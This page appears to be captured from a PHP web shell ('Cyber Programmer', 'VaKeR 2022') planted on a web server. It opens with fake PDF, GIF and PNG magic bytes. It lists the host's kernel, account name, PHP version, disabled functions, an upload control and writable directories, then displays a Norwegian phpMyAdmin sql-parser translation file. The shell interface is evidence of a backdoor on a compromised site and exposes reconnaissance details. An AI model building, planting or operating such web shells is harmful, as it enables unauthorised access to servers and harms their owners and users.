%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/admin1/vendor/phpmyadmin/sql-parser/locale/nb/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/admin1/vendor/phpmyadmin/sql-parser/locale/nb/LC_MESSAGES/sqlparser.po
# Automatically generated <>, 2010.
msgid ""
msgstr ""
"Project-Id-Version: SQL parser 5\n"
"Report-Msgid-Bugs-To: translators@phpmyadmin.net\n"
"POT-Creation-Date: 2023-02-26 22:46+0100\n"
"PO-Revision-Date: 2020-06-24 17:41+0000\n"
"Last-Translator: Sebastian <sebastian@sgundersen.com>\n"
"Language-Team: Norwegian Bokmål <https://hosted.weblate.org/projects/"
"phpmyadmin/sql-parser/nb_NO/>\n"
"Language: nb\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: Weblate 4.2-dev\n"

#: src/Component.php:39 src/Component.php:59
msgid "Not implemented yet."
msgstr "Ikke implementert ennå."

#: src/Components/AlterOperation.php:415 src/Statement.php:359
msgid ""
"A new statement was found, but no delimiter between it and the previous one."
msgstr ""
"En ny uttalelse ble funnet, men ingen skilletegn mellom det og den forrige."

#: src/Components/AlterOperation.php:427
msgid "Missing comma before start of a new alter operation."
msgstr "Mangler komma før starten av ny endringsoperasjon."

#: src/Components/AlterOperation.php:472
msgid "Unrecognized alter operation."
msgstr "Ukjent endringsoperasjon."

#: src/Components/Array2d.php:88
#, php-format
msgid "%1$d values were expected, but found %2$d."
msgstr "%1$d verdier var forventet, men fant %2$d."

#: src/Components/Array2d.php:108
msgid "An opening bracket followed by a set of values was expected."
msgstr "Åpningsklamme etterfulgt av et sett verdier forventet."

#: src/Components/ArrayObj.php:106 src/Components/CreateDefinition.php:233
msgid "An opening bracket was expected."
msgstr "Åpningsklamme forventet."

#: src/Components/CaseExpression.php:133 src/Components/CaseExpression.php:161
#: src/Components/CaseExpression.php:172 src/Components/CaseExpression.php:184
#: src/Components/IndexHint.php:134 src/Components/IndexHint.php:164
#: src/Components/LockExpression.php:173 src/Components/LockExpression.php:180
#: src/Components/LockExpression.php:188 src/Statements/DeleteStatement.php:249
#: src/Statements/DeleteStatement.php:268
#: src/Statements/DeleteStatement.php:308
#: src/Statements/DeleteStatement.php:320
#: src/Statements/DeleteStatement.php:346
#: src/Statements/DeleteStatement.php:353
#: src/Statements/InsertStatement.php:189
#: src/Statements/InsertStatement.php:220 src/Statements/LoadStatement.php:265
#: src/Statements/LockStatement.php:85 src/Statements/ReplaceStatement.php:149
#: src/Statements/ReplaceStatement.php:178
msgid "Unexpected keyword."
msgstr "Uventede karakterer på linje %sd."

#: src/Components/CaseExpression.php:192
msgid "Unexpected end of CASE expression"
msgstr "Uventet slutt av CASE-uttrykket"

#: src/Components/CaseExpression.php:212
msgid "Potential duplicate alias of CASE expression."
msgstr "Mulig duplisert alias av CASE-uttrykk."

#: src/Components/CaseExpression.php:225
msgid "An alias expected after AS but got "
msgstr "Forventet et alias etter AS, men ble gitt "

#: src/Components/CaseExpression.php:238 src/Components/Expression.php:352
#: src/Components/Expression.php:372 src/Components/Expression.php:424
msgid "An alias was previously found."
msgstr "Et alias ble tidligere funnet."

#: src/Components/CaseExpression.php:252
msgid "An alias was expected after AS."
msgstr "Et alias var forventet etter AS."

#: src/Components/CreateDefinition.php:255
msgid ""
"A symbol name was expected! A reserved keyword can not be used as a column "
"name without backquotes."
msgstr ""
"Forventet et symbolnavn! Reserverte nøkkelord kan bare bli brukt som "
"kolonnenavn ved å sette gravistegn (`) før og etter navnet."

#: src/Components/CreateDefinition.php:268
msgid "A symbol name was expected!"
msgstr "Forventet et symbolnavn!"

#: src/Components/CreateDefinition.php:300
msgid "A comma or a closing bracket was expected."
msgstr "Forventet et komma eller en lukkingsklamme."

#: src/Components/CreateDefinition.php:313 src/Statements/WithStatement.php:328
msgid "A closing bracket was expected."
msgstr "Forventet en lukkingsklamme."

#: src/Components/DataType.php:130
msgid "Unrecognized data type."
msgstr "Ukjent datatype."

#: src/Components/ExpressionArray.php:106 src/Statements/WithStatement.php:197
msgid "An expression was expected."
msgstr "Uttrykk forventet."

#: src/Components/Expression.php:257 src/Components/Expression.php:435
msgid "An alias was expected."
msgstr "Alias forventet."

#: src/Components/Expression.php:403
msgid "Unexpected dot."
msgstr "Uventet dott."

#: src/Components/IndexHint.php:140 src/Components/IndexHint.php:170
#: src/Components/Key.php:259 src/Components/LockExpression.php:161
#: src/Components/SetOperation.php:138 src/Statement.php:258
#: src/Statements/DeleteStatement.php:263
#: src/Statements/DeleteStatement.php:315
#: src/Statements/ExplainStatement.php:161
#: src/Statements/InsertStatement.php:203
#: src/Statements/InsertStatement.php:240 src/Statements/LoadStatement.php:270
#: src/Statements/LoadStatement.php:291 src/Statements/LoadStatement.php:310
#: src/Statements/LockStatement.php:93 src/Statements/LockStatement.php:100
#: src/Statements/PurgeStatement.php:106 src/Statements/PurgeStatement.php:119
#: src/Statements/PurgeStatement.php:140
#: src/Statements/ReplaceStatement.php:163 src/Statements/WithStatement.php:132
msgid "Unexpected token."
msgstr "Uventet tegn."

#: src/Components/Limit.php:78 src/Components/Limit.php:105
msgid "An offset was expected."
msgstr "En forskyvning var forventet."

#: src/Components/LockExpression.php:91 src/Components/LockExpression.php:201
msgid "Unexpected end of LOCK expression."
msgstr "Uventet slutt av LOCK-uttrykket."

#: src/Components/OptionsArray.php:146
#, php-format
msgid "This option conflicts with \"%1$s\"."
msgstr "Denne operasjonen konflikter med \"%1$s\"."

#: src/Components/RenameOperation.php:103
msgid "The old name of the table was expected."
msgstr "Forventet gammelt tabellnavn."

#: src/Components/RenameOperation.php:109
msgid "Keyword \"TO\" was expected."
msgstr "Søkeordet \"TIL\" var forventet."

#: src/Components/RenameOperation.php:124
msgid "The new name of the table was expected."
msgstr "Forventet nytt tabellnavn."

#: src/Components/RenameOperation.php:140
msgid "A rename operation was expected."
msgstr "En navneenringsoperasjon var forventet."

#: src/Components/SetOperation.php:121
msgid "Missing expression."
msgstr "Manglende uttrykk."

#: src/Lexer.php:274
msgid "Unexpected character."
msgstr "Uventet tegn."

#: src/Lexer.php:313
msgid "Expected whitespace(s) before delimiter."
msgstr "Forventet blanktegn før skilletegn."

#: src/Lexer.php:329 src/Lexer.php:348
msgid "Expected delimiter."
msgstr "Forventet avgrensning."

#: src/Lexer.php:1004
#, php-format
msgid "Ending quote %1$s was expected."
msgstr "Sluttsitat %1$s forventet."

#: src/Lexer.php:1056
msgid "Variable name was expected."
msgstr "Variabelnavn forventet."

#: src/Parser.php:456
msgid "Unexpected beginning of statement."
msgstr "Uventet begynnelse på uttykket."

#: src/Parser.php:499
msgid "Unrecognized statement type."
msgstr "Ukjent setningstype."

#: src/Parser.php:587
msgid "No transaction was previously started."
msgstr "Ingen transaksjon ble tidligere startet."

#: src/Statement.php:327
msgid "This type of clause was previously parsed."
msgstr "Denne typen klausul ble tidligere analysert."

#: src/Statement.php:398
msgid "Unrecognized keyword."
msgstr "Ukjent nøkkelord."

#: src/Statement.php:409
msgid "Keyword at end of statement."
msgstr "Nøkkelord ved slutten av uttalelsen."

#: src/Statement.php:555
msgid "Unexpected ordering of clauses."
msgstr "Uventet klausulrekkefølge."

#: src/Statements/CreateStatement.php:549
msgid "The name of the entity was expected."
msgstr "Enhetsnavn forventet."

#: src/Statements/CreateStatement.php:598
msgid "A table name was expected."
msgstr "Tabellnavn forventet."

#: src/Statements/CreateStatement.php:603
msgid "At least one column definition was expected."
msgstr "Minst én kolonnedefinisjon forventet."

#: src/Statements/CreateStatement.php:707
msgid "A \"RETURNS\" keyword was expected."
msgstr "Et \"RETURNS\" søkeord ble forventet."

#: src/Statements/DeleteStatement.php:329
msgid "This type of clause is not valid in Multi-table queries."
msgstr "Denne typen klausul er ikke gyldig i Multi-tabell-spørringer."

#: src/Statements/LockStatement.php:120
msgid "Unexpected end of LOCK statement."
msgstr "Uventet slutt på LOCK-uttrykket."

#: src/Statements/PurgeStatement.php:138
msgid "Unexpected keyword"
msgstr "Uventet nøkkelord"

#: src/Statements/WithStatement.php:118
#, fuzzy
#| msgid "The name of the entity was expected."
msgid "The name of the CTE was expected."
msgstr "Enhetsnavn forventet."

#: src/Statements/WithStatement.php:137
#, fuzzy
#| msgid "A \"RETURNS\" keyword was expected."
msgid "AS keyword was expected."
msgstr "Et \"RETURNS\" søkeord ble forventet."

#: src/Statements/WithStatement.php:149
#, fuzzy
#| msgid "The name of the entity was expected."
msgid "Subquery of the CTE was expected."
msgstr "Enhetsnavn forventet."

#: src/Statements/WithStatement.php:266
#, fuzzy
#| msgid "Unexpected end of LOCK statement."
msgid "Unexpected end of the WITH CTE."
msgstr "Uventet slutt på LOCK-uttrykket."

#~ msgid "Unexpected end of Lock expression."
#~ msgstr "Uventet slutt av LOCK-uttrykket."

#~ msgid "error #1"
#~ msgstr "feil #1"

#~ msgid "strict error"
#~ msgstr "streng feil"

VaKeR 2022